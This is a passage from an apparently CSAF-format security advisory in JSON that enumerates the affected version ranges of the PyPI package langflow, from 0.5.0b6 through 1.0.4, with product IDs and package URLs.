"product_version_range", "name": "vers:unknown/0.5.0b6", "product": { "name": "vers:unknown/0.5.0b6", "product_id": "CSAFPID-3234858", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.0b6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.1", "product": { "name": "vers:unknown/0.5.1", "product_id": "CSAFPID-3234859", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.10", "product": { "name": "vers:unknown/0.5.10", "product_id": "CSAFPID-3234860", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.11", "product": { "name": "vers:unknown/0.5.11", "product_id": "CSAFPID-3234861", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.12", "product": { "name": "vers:unknown/0.5.12", "product_id": "CSAFPID-3234862", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.2", "product": { "name": "vers:unknown/0.5.2", "product_id": "CSAFPID-3234863", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.3", "product": { "name": "vers:unknown/0.5.3", "product_id": "CSAFPID-3234864", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.4", "product": { "name": "vers:unknown/0.5.4", "product_id": "CSAFPID-3234865", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.5", "product": { "name": "vers:unknown/0.5.5", "product_id": "CSAFPID-3234866", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.6", "product": { "name": "vers:unknown/0.5.6", "product_id": "CSAFPID-3234867", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.7", "product": { "name": "vers:unknown/0.5.7", "product_id": "CSAFPID-3234868", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.8", "product": { "name": "vers:unknown/0.5.8", "product_id": "CSAFPID-3234869", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.9", "product": { "name": "vers:unknown/0.5.9", "product_id": "CSAFPID-3234870", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.5.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0", "product": { "name": "vers:unknown/0.6.0", "product_id": "CSAFPID-3234871", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0rc1", "product": { "name": "vers:unknown/0.6.0rc1", "product_id": "CSAFPID-3234872", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.1", "product": { "name": "vers:unknown/0.6.1", "product_id": "CSAFPID-3234873", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.10", "product": { "name": "vers:unknown/0.6.10", "product_id": "CSAFPID-3234874", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.11", "product": { "name": "vers:unknown/0.6.11", "product_id": "CSAFPID-3234875", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.12", "product": { "name": "vers:unknown/0.6.12", "product_id": "CSAFPID-3234876", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.14", "product": { "name": "vers:unknown/0.6.14", "product_id": "CSAFPID-3234877", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.14" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.15", "product": { "name": "vers:unknown/0.6.15", "product_id": "CSAFPID-3234878", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.15" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.16", "product": { "name": "vers:unknown/0.6.16", "product_id": "CSAFPID-3234879", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.16" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.17", "product": { "name": "vers:unknown/0.6.17", "product_id": "CSAFPID-3234880", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.17" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.18", "product": { "name": "vers:unknown/0.6.18", "product_id": "CSAFPID-3234881", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.18" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.19", "product": { "name": "vers:unknown/0.6.19", "product_id": "CSAFPID-3234882", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.19" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.2", "product": { "name": "vers:unknown/0.6.2", "product_id": "CSAFPID-3234883", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3", "product": { "name": "vers:unknown/0.6.3", "product_id": "CSAFPID-3234884", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a0", "product": { "name": "vers:unknown/0.6.3a0", "product_id": "CSAFPID-3234885", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a1", "product": { "name": "vers:unknown/0.6.3a1", "product_id": "CSAFPID-3234886", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a2", "product": { "name": "vers:unknown/0.6.3a2", "product_id": "CSAFPID-3234887", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a3", "product": { "name": "vers:unknown/0.6.3a3", "product_id": "CSAFPID-3234888", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a4", "product": { "name": "vers:unknown/0.6.3a4", "product_id": "CSAFPID-3234889", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a5", "product": { "name": "vers:unknown/0.6.3a5", "product_id": "CSAFPID-3234890", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a6", "product": { "name": "vers:unknown/0.6.3a6", "product_id": "CSAFPID-3234891", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3a7", "product": { "name": "vers:unknown/0.6.3a7", "product_id": "CSAFPID-3234892", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.3a7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.4", "product": { "name": "vers:unknown/0.6.4", "product_id": "CSAFPID-3234893", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.4a0", "product": { "name": "vers:unknown/0.6.4a0", "product_id": "CSAFPID-3234894", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.4a0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.4a1", "product": { "name": "vers:unknown/0.6.4a1", "product_id": "CSAFPID-3234895", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.4a1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5", "product": { "name": "vers:unknown/0.6.5", "product_id": "CSAFPID-3234896", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a0", "product": { "name": "vers:unknown/0.6.5a0", "product_id": "CSAFPID-3234897", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a1", "product": { "name": "vers:unknown/0.6.5a1", "product_id": "CSAFPID-3234898", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a10", "product": { "name": "vers:unknown/0.6.5a10", "product_id": "CSAFPID-3234899", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a11", "product": { "name": "vers:unknown/0.6.5a11", "product_id": "CSAFPID-3234900", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a12", "product": { "name": "vers:unknown/0.6.5a12", "product_id": "CSAFPID-3234901", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a13", "product": { "name": "vers:unknown/0.6.5a13", "product_id": "CSAFPID-3234902", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a13" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a2", "product": { "name": "vers:unknown/0.6.5a2", "product_id": "CSAFPID-3234903", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a3", "product": { "name": "vers:unknown/0.6.5a3", "product_id": "CSAFPID-3234904", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a4", "product": { "name": "vers:unknown/0.6.5a4", "product_id": "CSAFPID-3234905", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a5", "product": { "name": "vers:unknown/0.6.5a5", "product_id": "CSAFPID-3234906", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a6", "product": { "name": "vers:unknown/0.6.5a6", "product_id": "CSAFPID-3234907", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a7", "product": { "name": "vers:unknown/0.6.5a7", "product_id": "CSAFPID-3234908", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a8", "product": { "name": "vers:unknown/0.6.5a8", "product_id": "CSAFPID-3234909", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5a9", "product": { "name": "vers:unknown/0.6.5a9", "product_id": "CSAFPID-3234910", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.5a9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.6", "product": { "name": "vers:unknown/0.6.6", "product_id": "CSAFPID-3234911", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.7", "product": { "name": "vers:unknown/0.6.7", "product_id": "CSAFPID-3234912", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.7a1", "product": { "name": "vers:unknown/0.6.7a1", "product_id": "CSAFPID-3234913", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.7a1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.7a2", "product": { "name": "vers:unknown/0.6.7a2", "product_id": "CSAFPID-3234914", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.7a2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.7a3", "product": { "name": "vers:unknown/0.6.7a3", "product_id": "CSAFPID-3234915", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.7a3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.7a5", "product": { "name": "vers:unknown/0.6.7a5", "product_id": "CSAFPID-3234916", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.7a5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.8", "product": { "name": "vers:unknown/0.6.8", "product_id": "CSAFPID-3234917", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.9", "product": { "name": "vers:unknown/0.6.9", "product_id": "CSAFPID-3234918", "product_identification_helper": { "purl": "pkg:pypi/langflow@0.6.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0", "product": { "name": "vers:unknown/1.0.0", "product_id": "CSAFPID-3234919", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a0", "product": { "name": "vers:unknown/1.0.0a0", "product_id": "CSAFPID-3234920", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a1", "product": { "name": "vers:unknown/1.0.0a1", "product_id": "CSAFPID-3234921", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a10", "product": { "name": "vers:unknown/1.0.0a10", "product_id": "CSAFPID-3234922", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a11", "product": { "name": "vers:unknown/1.0.0a11", "product_id": "CSAFPID-3234923", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a12", "product": { "name": "vers:unknown/1.0.0a12", "product_id": "CSAFPID-3234924", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a13", "product": { "name": "vers:unknown/1.0.0a13", "product_id": "CSAFPID-3234925", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a14", "product": { "name": "vers:unknown/1.0.0a14", "product_id": "CSAFPID-3234926", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a15", "product": { "name": "vers:unknown/1.0.0a15", "product_id": "CSAFPID-3234927", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a17", "product": { "name": "vers:unknown/1.0.0a17", "product_id": "CSAFPID-3234928", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a18", "product": { "name": "vers:unknown/1.0.0a18", "product_id": "CSAFPID-3234929", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a19", "product": { "name": "vers:unknown/1.0.0a19", "product_id": "CSAFPID-3234930", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a2", "product": { "name": "vers:unknown/1.0.0a2", "product_id": "CSAFPID-3234931", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a20", "product": { "name": "vers:unknown/1.0.0a20", "product_id": "CSAFPID-3234932", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a21", "product": { "name": "vers:unknown/1.0.0a21", "product_id": "CSAFPID-3234933", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a21" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a22", "product": { "name": "vers:unknown/1.0.0a22", "product_id": "CSAFPID-3234934", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a22" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a23", "product": { "name": "vers:unknown/1.0.0a23", "product_id": "CSAFPID-3234935", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a23" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a24", "product": { "name": "vers:unknown/1.0.0a24", "product_id": "CSAFPID-3234936", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a24" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a25", "product": { "name": "vers:unknown/1.0.0a25", "product_id": "CSAFPID-3234937", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a25" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a26", "product": { "name": "vers:unknown/1.0.0a26", "product_id": "CSAFPID-3234938", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a26" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a27", "product": { "name": "vers:unknown/1.0.0a27", "product_id": "CSAFPID-3234939", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a27" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a28", "product": { "name": "vers:unknown/1.0.0a28", "product_id": "CSAFPID-3234940", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a28" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a29", "product": { "name": "vers:unknown/1.0.0a29", "product_id": "CSAFPID-3234941", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a29" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a3", "product": { "name": "vers:unknown/1.0.0a3", "product_id": "CSAFPID-3234942", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a30", "product": { "name": "vers:unknown/1.0.0a30", "product_id": "CSAFPID-3234943", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a30" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a31", "product": { "name": "vers:unknown/1.0.0a31", "product_id": "CSAFPID-3234944", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a31" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a32", "product": { "name": "vers:unknown/1.0.0a32", "product_id": "CSAFPID-3234945", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a32" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a33", "product": { "name": "vers:unknown/1.0.0a33", "product_id": "CSAFPID-3234946", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a33" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a34", "product": { "name": "vers:unknown/1.0.0a34", "product_id": "CSAFPID-3234947", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a34" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a35", "product": { "name": "vers:unknown/1.0.0a35", "product_id": "CSAFPID-3234948", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a35" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a36", "product": { "name": "vers:unknown/1.0.0a36", "product_id": "CSAFPID-3234949", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a36" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a37", "product": { "name": "vers:unknown/1.0.0a37", "product_id": "CSAFPID-3234950", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a37" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a38", "product": { "name": "vers:unknown/1.0.0a38", "product_id": "CSAFPID-3234951", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a38" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a39", "product": { "name": "vers:unknown/1.0.0a39", "product_id": "CSAFPID-3234952", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a39" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a4", "product": { "name": "vers:unknown/1.0.0a4", "product_id": "CSAFPID-3234953", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a40", "product": { "name": "vers:unknown/1.0.0a40", "product_id": "CSAFPID-3234954", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a40" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a41", "product": { "name": "vers:unknown/1.0.0a41", "product_id": "CSAFPID-3234955", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a41" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a42", "product": { "name": "vers:unknown/1.0.0a42", "product_id": "CSAFPID-3234956", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a42" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a43", "product": { "name": "vers:unknown/1.0.0a43", "product_id": "CSAFPID-3234957", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a43" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a44", "product": { "name": "vers:unknown/1.0.0a44", "product_id": "CSAFPID-3234958", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a44" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a45", "product": { "name": "vers:unknown/1.0.0a45", "product_id": "CSAFPID-3234959", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a45" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a46", "product": { "name": "vers:unknown/1.0.0a46", "product_id": "CSAFPID-3234960", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a46" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a47", "product": { "name": "vers:unknown/1.0.0a47", "product_id": "CSAFPID-3234961", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a47" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a48", "product": { "name": "vers:unknown/1.0.0a48", "product_id": "CSAFPID-3234962", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a48" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a49", "product": { "name": "vers:unknown/1.0.0a49", "product_id": "CSAFPID-3234963", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a49" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a5", "product": { "name": "vers:unknown/1.0.0a5", "product_id": "CSAFPID-3234964", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a50", "product": { "name": "vers:unknown/1.0.0a50", "product_id": "CSAFPID-3234965", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a50" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a51", "product": { "name": "vers:unknown/1.0.0a51", "product_id": "CSAFPID-3234966", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a51" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a52", "product": { "name": "vers:unknown/1.0.0a52", "product_id": "CSAFPID-3234967", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a52" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a53", "product": { "name": "vers:unknown/1.0.0a53", "product_id": "CSAFPID-3234968", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a53" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a55", "product": { "name": "vers:unknown/1.0.0a55", "product_id": "CSAFPID-3234969", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a55" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a56", "product": { "name": "vers:unknown/1.0.0a56", "product_id": "CSAFPID-3234970", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a56" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a57", "product": { "name": "vers:unknown/1.0.0a57", "product_id": "CSAFPID-3234971", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a57" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a58", "product": { "name": "vers:unknown/1.0.0a58", "product_id": "CSAFPID-3234972", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a58" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a59", "product": { "name": "vers:unknown/1.0.0a59", "product_id": "CSAFPID-3234973", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a59" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a6", "product": { "name": "vers:unknown/1.0.0a6", "product_id": "CSAFPID-3234974", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a60", "product": { "name": "vers:unknown/1.0.0a60", "product_id": "CSAFPID-3234975", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a60" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a61", "product": { "name": "vers:unknown/1.0.0a61", "product_id": "CSAFPID-3234976", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a61" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a7", "product": { "name": "vers:unknown/1.0.0a7", "product_id": "CSAFPID-3234977", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a8", "product": { "name": "vers:unknown/1.0.0a8", "product_id": "CSAFPID-3234978", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a9", "product": { "name": "vers:unknown/1.0.0a9", "product_id": "CSAFPID-3234979", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0a9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc0", "product": { "name": "vers:unknown/1.0.0rc0", "product_id": "CSAFPID-3234980", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc1", "product": { "name": "vers:unknown/1.0.0rc1", "product_id": "CSAFPID-3234981", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.1", "product": { "name": "vers:unknown/1.0.1", "product_id": "CSAFPID-3234982", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.10", "product": { "name": "vers:unknown/1.0.10", "product_id": "CSAFPID-3234983", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.11", "product": { "name": "vers:unknown/1.0.11", "product_id": "CSAFPID-3234984", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.12", "product": { "name": "vers:unknown/1.0.12", "product_id": "CSAFPID-3234985", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.13", "product": { "name": "vers:unknown/1.0.13", "product_id": "CSAFPID-4774140", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.14", "product": { "name": "vers:unknown/1.0.14", "product_id": "CSAFPID-4774141", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.15", "product": { "name": "vers:unknown/1.0.15", "product_id": "CSAFPID-4774142", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.16", "product": { "name": "vers:unknown/1.0.16", "product_id": "CSAFPID-4774143", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.16" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.17", "product": { "name": "vers:unknown/1.0.17", "product_id": "CSAFPID-4774144", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.18", "product": { "name": "vers:unknown/1.0.18", "product_id": "CSAFPID-4774145", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.19", "product": { "name": "vers:unknown/1.0.19", "product_id": "CSAFPID-4774146", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.19.post1", "product": { "name": "vers:unknown/1.0.19.post1", "product_id": "CSAFPID-4774147", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.19.post1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.19.post2", "product": { "name": "vers:unknown/1.0.19.post2", "product_id": "CSAFPID-4774148", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.19.post2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.2", "product": { "name": "vers:unknown/1.0.2", "product_id": "CSAFPID-3234986", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.3", "product": { "name": "vers:unknown/1.0.3", "product_id": "CSAFPID-3234987", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.4", "product": { "name": "vers:unknown/1.0.4", "product_id": "CSAFPID-3234988", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.4" } } }, { "category": 